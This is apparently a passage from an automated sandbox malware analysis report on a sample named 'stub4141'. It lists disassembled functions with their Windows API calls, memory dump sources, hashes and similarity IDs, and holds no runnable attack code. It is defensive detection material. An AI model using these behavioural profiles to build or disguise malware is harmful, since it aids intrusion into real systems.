Instruction Fuzzy Hash: EDF0AC75D04308FFCB14DFE4D94979EBBB8EB08305F1055D6EA45A2240D7789688CF59

Function 0041B440 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(NTDLL,RtlGetVersion), ref: 0041B45D
GetProcAddress.KERNEL32(00000000), ref: 0041B464
RtlGetVersion.NTDLL(0000011C), ref: 0041B48A

Strings

NTDLL, xrefs: 0041B458
RtlGetVersion, xrefs: 0041B453

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID: NTDLL$RtlGetVersion
API String ID: 3310240892-3678323915
Opcode ID: 3ca279a43ae76ccadd8e502e031841366baf4cf0534dac71f995863fc78cfea8
Instruction ID: dce9c7f9e30c2b324b9eb0aaaf532cc2063b93ee80b3661c3428a1c14184276f
Opcode Fuzzy Hash: 3ca279a43ae76ccadd8e502e031841366baf4cf0534dac71f995863fc78cfea8
Instruction Fuzzy Hash: 66F01CB484121C9BCB249F64DC49BD9B7F4AB0D311F0005EAA988A2251CB7459E4CF9C

Function 00415F2B Relevance: 7.6, APIs: 5, Instructions: 85threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00415F87
CloseHandle.KERNEL32(00000000), ref: 00415FB9
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00415FD7
CreateThread.KERNEL32(00000000,00000000,Function_000084F0,-00489000,00000004,00000000), ref: 0041600C
ResumeThread.KERNEL32(00000000), ref: 0041604C
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004160B9
CloseHandle.KERNEL32(00000000), ref: 004160F1
CloseHandle.KERNEL32(00000000), ref: 00416123
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00416141
CreateThread.KERNEL32(00000000,00000000,Function_000084F0,-00489000,00000004,00000000), ref: 00416175
ResumeThread.KERNEL32(00000000), ref: 004161B5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID:
API String ID: 738346648-0
Opcode ID: 772dcbf9736f9f2deac1644d229f518b241f8f292919876de4d3a31f30d29585
Instruction ID: e28340cab90c529214adf101981826658c9fa1f9c8f563d83a838351ee699878
Opcode Fuzzy Hash: 772dcbf9736f9f2deac1644d229f518b241f8f292919876de4d3a31f30d29585
Instruction Fuzzy Hash: 71419E30A001059FDB0CDF58C989BBEBBB2FB90308F264969F116AF2D1C7719895CB58

Function 0041FB30 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 0041FB36
WSAEventSelect.WS2_32(?,00000000,00000001), ref: 0041FB53
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FB93
WSACloseEvent.WS2_32(00000000), ref: 0041FBA0
WSACloseEvent.WS2_32(00000000), ref: 0041FBF9

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: 11c212c63826e78b3137cc02750f7cb41c2b40c81b1aaf0950461a25f3e8089e
Instruction ID: 1203b35c56261cff5f82ed0dad585d266c3b0a11bb42c616a5b46ef070304a69
Opcode Fuzzy Hash: 11c212c63826e78b3137cc02750f7cb41c2b40c81b1aaf0950461a25f3e8089e
Instruction Fuzzy Hash: 9F212174904209EFCF10CF94C9987EE77B4BB45304F208569D80167341D7759A46EBA5

Function 0041FC10 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 0041FC16
WSAEventSelect.WS2_32(?,00000000,00000002), ref: 0041FC33
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FC73
WSACloseEvent.WS2_32(00000000), ref: 0041FC80
WSACloseEvent.WS2_32(00000000), ref: 0041FCD9

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: ab2cebbcb501abc4651e2e71a04fe04f6a0c6336c200b2445ab8f3f91f5d5e9a
Instruction ID: 8e4a4c3206f5c7ed81d0b7a153314e253c1dee9cec59e34b635c42d30f007148
Opcode Fuzzy Hash: ab2cebbcb501abc4651e2e71a04fe04f6a0c6336c200b2445ab8f3f91f5d5e9a
Instruction Fuzzy Hash: 1C210C7490020DEFDF10CF94D988BEE77B5BB45304F10856AE801A7381D7799E86EBA5

Function 0042D7C2 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0042D7D0

Part of subcall function 00422BFD: __FF_MSGBANNER.LIBCMT ref: 00422C16
Part of subcall function 00422BFD: __NMSG_WRITE.LIBCMT ref: 00422C1D
Part of subcall function 00422BFD: HeapAlloc.KERNEL32(00000000,00000001,?,?,?,?,00403613,?), ref: 00422C42

_free.LIBCMT ref: 0042D7E3

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 476dc20dd7204a0308262128fa029919d53894c2455c3adafc199929a3486133
Instruction ID: 3dc2c8692f452a790518e2a3b9caeb5295c316d4060558934250430bef48d877
Opcode Fuzzy Hash: 476dc20dd7204a0308262128fa029919d53894c2455c3adafc199929a3486133
Instruction Fuzzy Hash: F311C132B04631ABCB253F75BC0565A3B94AF803B4FA1443BFA5996260DE7CC840D69C

Function 0210DA29 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0210DA37

Part of subcall function 02102E64: __FF_MSGBANNER.LIBCMT ref: 02102E7D
Part of subcall function 02102E64: __NMSG_WRITE.LIBCMT ref: 02102E84
Part of subcall function 02102E64: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 02102EA9

_free.LIBCMT ref: 0210DA4A

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 66444d228a80333223b74a9add90fa80a5a0989be3b9eccea0df549552819371
Instruction ID: 890b7c8eb30e0ffab08e8347a78d8216ee3d9b63c19f97a08a28a6c08a1447e5
Opcode Fuzzy Hash: 66444d228a80333223b74a9add90fa80a5a0989be3b9eccea0df549552819371
Instruction Fuzzy Hash: AC11C4324C8211EFCB257BB5BC8475A3BA9EF443B0B214436E915961E0DFF4C850CB98

Function 00421BE0 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018), ref: 00421BEA

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 00421C1D
LocalFree.KERNEL32(00000000), ref: 00421C58
LocalFree.KERNEL32(00000000), ref: 00421C67
LocalFree.KERNEL32(00000000), ref: 00421C71

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$lstrlen$Alloc$AttributesFileFolderKnownPathTask__snwprintf
String ID:
API String ID: 1368272246-0
Opcode ID: 5e2c6e92322aa8b0c7d2ef3b315bdc3105a230a5016bebd35b668f639c93b5d3
Instruction ID: 65549c9f79555f74f05f9115af0f012bc7870a87a951e7977a21fe93902e042f
Opcode Fuzzy Hash: 5e2c6e92322aa8b0c7d2ef3b315bdc3105a230a5016bebd35b668f639c93b5d3
Instruction Fuzzy Hash: E221A478E00208EFCB08DF95D989AAEB7F5FB48300F5085A9E905A7361D774AE40DF94

Function 004154C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B,00415CD0,00000000), ref: 0041407B
Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B), ref: 00414095
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140C5
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140E1
Part of subcall function 00414050: LocalFree.KERNEL32(00000000), ref: 0041491A

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

GetFileAttributesW.KERNEL32(00000000), ref: 00415510
LocalFree.KERNEL32(00000000), ref: 0041551F
LocalFree.KERNEL32(00000000), ref: 00415529
LocalFree.KERNEL32(00000000), ref: 0041553A
LocalFree.KERNEL32(00000000), ref: 00415544

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Allocwnsprintf$AttributesFile_wcsrchr
String ID:
API String ID: 3823319188-0
Opcode ID: 09f9cb1f1b63c8f51d7fcdf3ad7686e1f2eeb4654619fc49ffde4c45cdd81bc9
Instruction ID: 1893f6ee502d71e247567882e1327ea04060e93d857b0d7096930e4a5a5ce9bd
Opcode Fuzzy Hash: 09f9cb1f1b63c8f51d7fcdf3ad7686e1f2eeb4654619fc49ffde4c45cdd81bc9
Instruction Fuzzy Hash: C5115B79900208FFCB00DBA4E948ADEB7B9EF88300F5049A9E505D7290D738DA84CB98

Function 0040E8C0 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0040E960: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040E974
Part of subcall function 0040E960: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040E995
Part of subcall function 0040E960: SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 0040E9BC
Part of subcall function 0040E960: lstrlenW.KERNEL32(00000000), ref: 0040E9CA
Part of subcall function 0040E960: __snwprintf.LIBCMT ref: 0040E9F4
Part of subcall function 0040E960: __snwprintf.LIBCMT ref: 0040EA0E
Part of subcall function 0040E960: LocalFree.KERNEL32(00000000), ref: 0040EA1A
Part of subcall function 0040E960: CoTaskMemFree.COMBASE(00000000), ref: 0040EA24

GetFileAttributesW.KERNEL32(00000000,?,?,0040124C), ref: 0040E8DF
LocalFree.KERNEL32(00000000), ref: 0040E8F2
GetFileAttributesW.KERNEL32(00000000), ref: 0040E922
LocalFree.KERNEL32(00000000), ref: 0040E935

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$AllocAttributesFile__snwprintf$FolderKnownPathTasklstrlen
String ID:
API String ID: 1889006086-0
Opcode ID: 6b5fcb1a12f3a9b65df4fe16d7e114eaf9e1d05c9a11bef061b076ac6304c5ef
Instruction ID: 53d91a75a9bcb329a76d896f230542f3c67aa4e441be7756585382e18d1adb32
Opcode Fuzzy Hash: 6b5fcb1a12f3a9b65df4fe16d7e114eaf9e1d05c9a11bef061b076ac6304c5ef
Instruction Fuzzy Hash: E51112B5D00208EFDB50EFB5C948AAEB774FF48301F504CAAE501A7390D7798A50DB99

Function 00419320 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00419339
SetEvent.KERNEL32(?), ref: 00419362
SetEvent.KERNEL32 ref: 00419374
SetEvent.KERNEL32 ref: 00419389
SetEvent.KERNEL32(?), ref: 004193A7

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: 6e96b4fe23391a2a887d4c6e96758d94d3a0cb9569acd78662b3a5c398513e1f
Instruction ID: b33b76a6644978bd88cc4e5517fbf2f189767cbc537559cedf46e7cad57d9f62
Opcode Fuzzy Hash: 6e96b4fe23391a2a887d4c6e96758d94d3a0cb9569acd78662b3a5c398513e1f
Instruction Fuzzy Hash: C411E374A00208EFCB04CF94D99899EB7F6FB89311F2489AAE81197350C774EE91DF94

Function 0041BC90 Relevance: 7.5, APIs: 5, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 0041BCC5
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041BCD4
CloseHandle.KERNEL32(?), ref: 0041BCE1
CloseHandle.KERNEL32(?), ref: 0041BCEE
LocalFree.KERNEL32(00000000), ref: 0041BD08

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3879024238-0
Opcode ID: 77d17034d1218c0f0a4746f67a642168110824ee6d7d2f5bae6a8120101788f8
Instruction ID: 760612eda45061fd31cba45afd06e4768af6e6f21b19090b02e9c735685e56b6
Opcode Fuzzy Hash: 77d17034d1218c0f0a4746f67a642168110824ee6d7d2f5bae6a8120101788f8
Instruction Fuzzy Hash: D9110079904108EFCB08DFA4DA8899DBBB5FF49311F208299FA0997350D734AE85DF94

Function 00418E70 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00418E89
SetEvent.KERNEL32(?), ref: 00418EB2
SetEvent.KERNEL32 ref: 00418EC4
SetEvent.KERNEL32 ref: 00418ED9
SetEvent.KERNEL32(?), ref: 00418EF7

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: 6e96b4fe23391a2a887d4c6e96758d94d3a0cb9569acd78662b3a5c398513e1f
Instruction ID: 1e1f4ebac91206e5040de1eea799673e0fda346d39f73ced3f661c452a93adca
Opcode Fuzzy Hash: 6e96b4fe23391a2a887d4c6e96758d94d3a0cb9569acd78662b3a5c398513e1f
Instruction Fuzzy Hash: 6311C374A00348EFCB04CF54D48499EB7B6FB89315F2489AEE81197350CB74EE95DB94

Function 020EEB27 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 020EEBC7: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EEBDB
Part of subcall function 020EEBC7: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EEBFC
Part of subcall function 020EEBC7: SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 020EEC23
Part of subcall function 020EEBC7: lstrlenW.KERNEL32(00000000), ref: 020EEC31
Part of subcall function 020EEBC7: __snwprintf.LIBCMT ref: 020EEC5B
Part of subcall function 020EEBC7: __snwprintf.LIBCMT ref: 020EEC75
Part of subcall function 020EEBC7: LocalFree.KERNEL32(00000000), ref: 020EEC81
Part of subcall function 020EEBC7: CoTaskMemFree.COMBASE(00000000), ref: 020EEC8B

GetFileAttributesW.KERNEL32(00000000,?,?,020E68A8), ref: 020EEB46
LocalFree.KERNEL32(00000000), ref: 020EEB59
GetFileAttributesW.KERNEL32(00000000), ref: 020EEB89
LocalFree.KERNEL32(00000000), ref: 020EEB9C

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAttributesFile__snwprintf$FolderKnownPathTasklstrlen
String ID:
API String ID: 1889006086-0
Opcode ID: 6b5fcb1a12f3a9b65df4fe16d7e114eaf9e1d05c9a11bef061b076ac6304c5ef
Instruction ID: 7faf54e667d2b17198a92368e7167ec4662fa264d42a96b9d492ce35476759f5
Opcode Fuzzy Hash: 6b5fcb1a12f3a9b65df4fe16d7e114eaf9e1d05c9a11bef061b076ac6304c5ef
Instruction Fuzzy Hash: 3C11E874D0430CEFDF40EBB4D948AAEB7B4EB48311F1049A9E507A7290D7758A80EB95

Function 00401C70 Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0041AF2A), ref: 00401C97
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0041AF2A), ref: 00401CB3
CreateThread.KERNEL32(00000000,00000000,00401DA0,00000000,00000000,00000000), ref: 00401CD6
CloseHandle.KERNEL32(00000000,?,0041AF2A), ref: 00401CF7
CloseHandle.KERNEL32(00000000,?,0041AF2A), ref: 00401D0E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Create$CloseEventHandle$Thread
String ID:
API String ID: 3315681087-0
Opcode ID: 6e2b3d733ae5d8674fceb2ea600c5e2a6f9f16d63754e2632df172aa07f5a3ce
Instruction ID: 45f7edb771c98a28e033f7ac80d427657096262f3cbd0b2227a845cc5eb68fe2
Opcode Fuzzy Hash: 6e2b3d733ae5d8674fceb2ea600c5e2a6f9f16d63754e2632df172aa07f5a3ce
Instruction Fuzzy Hash: 9011C930684202AFF3345B50ED49F1936A0A704705F10087FBA116A3F0D7FA64D4CB5E

Function 00426FFD Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00427009

Part of subcall function 00427226: __getptd_noexit.LIBCMT ref: 00427229
Part of subcall function 00427226: __amsg_exit.LIBCMT ref: 00427236

__getptd.LIBCMT ref: 00427020
__amsg_exit.LIBCMT ref: 0042702E
__lock.LIBCMT ref: 0042703E
__updatetlocinfoEx_nolock.LIBCMT ref: 00427052

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: bcecd19ee5a8cf5b3f13d69b319c49b06df46ed468752c2ae628c59f4031dc9c
Instruction ID: c1377d8a411595da9af92a0d58ceb1d0fbb45c3a64c0d28bfe3a60c822f2bcaf
Opcode Fuzzy Hash: bcecd19ee5a8cf5b3f13d69b319c49b06df46ed468752c2ae628c59f4031dc9c
Instruction Fuzzy Hash: 14F0CD32B09630CBD721BBA67906B5E73A0AB00728F91014FF540A72C2CB6C9C409A9E

Function 02107264 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02107270

Part of subcall function 0210748D: __getptd_noexit.LIBCMT ref: 02107490
Part of subcall function 0210748D: __amsg_exit.LIBCMT ref: 0210749D

__getptd.LIBCMT ref: 02107287
__amsg_exit.LIBCMT ref: 02107295
__lock.LIBCMT ref: 021072A5
__updatetlocinfoEx_nolock.LIBCMT ref: 021072B9

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: bcecd19ee5a8cf5b3f13d69b319c49b06df46ed468752c2ae628c59f4031dc9c
Instruction ID: 7760932a4615edebf350e3f9af53492fd14ceb6d2c844304d3263f621b98d18c
Opcode Fuzzy Hash: bcecd19ee5a8cf5b3f13d69b319c49b06df46ed468752c2ae628c59f4031dc9c
Instruction Fuzzy Hash: 86F0FA32EC57109FE665BB78A881B6DB3A2AF08720F244109F510A72C0CBE47902CE5A

Function 0041B183 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 62e8bbe2d2aa878a0f8e02f9a57a36e311a9bb257924c697f0dc3345225abfe3
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: 62e8bbe2d2aa878a0f8e02f9a57a36e311a9bb257924c697f0dc3345225abfe3
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AECC Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 4678ac3f55acc4ac22ffc40bd213a74b5998c46ba6c44f250445b50297e09e30
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: 4678ac3f55acc4ac22ffc40bd213a74b5998c46ba6c44f250445b50297e09e30
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AEAD Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
